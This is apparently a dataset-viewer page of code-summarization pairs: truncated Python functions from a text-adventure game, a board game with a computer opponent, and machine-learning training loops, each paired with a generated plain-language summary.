contents_json = json.dumps(playerObj.returnPersonDict(... | This function processes user input in a game context, validating choices against a list. It handles 's' (save/exit), 'p' (display stats), or numeric actions (1-3) to trigger story progression. Invalid inputs prompt retries, while valid actions call `evaluate_story_choice` with parameters, saving game state and exiting ... | def evaulate_action(story_bit, choice_array, ID, targetStory=None, choicObj=None, player_Obj=None):
while True:
# print("targetStory:", targetStory)
action = input(story_bit)
if action.isdigit():
action = int(action)
choice_array.append("s")
choice_array.append(... |
def readPath(pathStr, pathPosition):
"""
INPUT: X-X-X-X, pathPosition
OUTPUT: X: Scenario, pathPosition
"""
pathSplit = pathStr.split('-')
# print(pathSplit)
# print(pathSplit[pathPosition-1])
return pathSplit[pathPosition-1], pathPosition
def pathActionTemplate(pos, actions, story):
... | This function processes a story path by iterating through its segments, handling different narrative elements (Introduction, Exposition, Monster encounters, Scenarios, Boss) sequentially. It uses global variables to track progress, applies actions via templates, and updates story positions. The core task is to dynamica... | def readPathStory(story, player_Obj=None):
global written_path
# print(story)
written_path = story
position = pathSTORIES["storyPosition"]
expositionPosition = pathSTORIES["expositionPosition"]
monsterPosition = pathSTORIES["monsterPosition"]
scenarioOnePosition = pathSTORIES["scenarioOnePos... |
def is_inside(self, slot, event):
"""
Utility function to check if a piece is inside the domain or territory of a certain slot so that it can be snapped-in-place.
:param slot: slot to be checked for the aforementioned reasons
:param event: widget necessary for getting the x and y coordin... | This function checks if a cursor position on a board is valid for moving or bailing a piece, based on the current player's turn and jail status. It iterates through relevant slots, verifies cursor position with `is_inside`, and validates bail/move eligibility using helper methods. Returns the valid slot index if condit... | def position_is_valid(self, event):
"""
utility function to check if the position in which a piece was left is legal.
:param event: widget used for getting the x and y coordinates of the cursor
:return: the slot's position on the board if the position is valid and -1 otherwise
""... |
def check_move(self, piece, distance, test=False):
"""
Verifies if a move would be valid.
:param piece: The piece to be moved.
:param distance: The distance to be crossed.
:param test: If the move is to be committed or just verified.
:return: -1 if not valid or the distan... | The function `computer_move` simulates a computer player's turn in a board game, selecting moves based on the chosen difficulty level. In "Easy" mode, it randomly picks moves and places pieces using ascending/descending checks. "Medium" evaluates all possible moves, sorts them, and applies the best options. "Hard" is u... | def computer_move(self):
"""
Function to simulate the computer's movements, depending on its selected level of difficulty.
"""
if self.gui.game_mode == GameMode.EASY:
while len(self.moves) > 0:
move = secrets.choice(self.moves)
ascending = secr... |
def position_is_valid(self, event):
"""
utility function to check if the position in which a piece was left is legal.
:param event: widget used for getting the x and y coordinates of the cursor
:return: the slot's position on the board if the position is valid and -1 otherwise
""... | This function validates the final position of a dragged chess piece, placing it if valid or reverting the move if invalid. It handles piece repositioning based on color, updates game state by changing turns when no moves remain, and resets drag data. The function ensures proper game flow by updating status to "ROLL" an... | def drag_stop(self, event):
"""
A function called at the end of the dragging action of a piece which validates if the current position is suitable or the action will be reverted.
:param event: event which triggered the function, used for getting the x and y coordinates of the cursor
"""
... |
def setup(self, stage=None):
nsig = len(self.sig_train); nbkg = len(self.bkg_train)
self.sdata_train, self.sdata_val = random_split(self.sig_train, [int(0.9*nsig),nsig-int(0.9*nsig)])
self.bdata_train, self.bdata_val = random_split(self.bkg_train, [int(0.9*nbkg),nbkg-int(0.9*nbkg)])
self... | The code executes setup and training phases for CLR and MSE models, runs comprehensive testing, filters outputs using a mass range, calculates AUC for evaluation, then returns test results including scores, labels, and physical parameters. | def run_all(self):
self.setup()
self.training_clr()
self.setup_mse()
self.training_mse()
scores_out,labels_out,mass_out,theta_out,space_out = self.test_all()
mask = (mass_out > -70) & (mass_out < 900)
auc = roc_auc_score(y_score=scores_out[mask], y_true=labels_out... |
def init_train_dl(self):
train_ds = WhiteDotsChunkSegDataset(
val_stride=5,
isValSet_bool=False,
chunk_size=self.opt.chunk_size
)
batch_size = self.opt.batch_size
if self.use_cuda:
batch_size *= torch.cuda.device_count()
train_dl ... | The main task of the code is to execute a training and validation loop for a machine learning model. It initializes data loaders, iterates over epochs, performs training and logs metrics, validates periodically, saves the best model based on performance, logs training/validation images, and closes writers. The loop tra... | def main(self):
log.info("Starting {}, {}".format(type(self).__name__, self.opt))
train_dl = self.init_train_dl()
val_dl = self.init_val_dl()
best_score = 0.0
self.validation_cadence = 5
for epoch_ndx in range(self.opt.begin_epoch, self.opt.end_epoch):
log... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.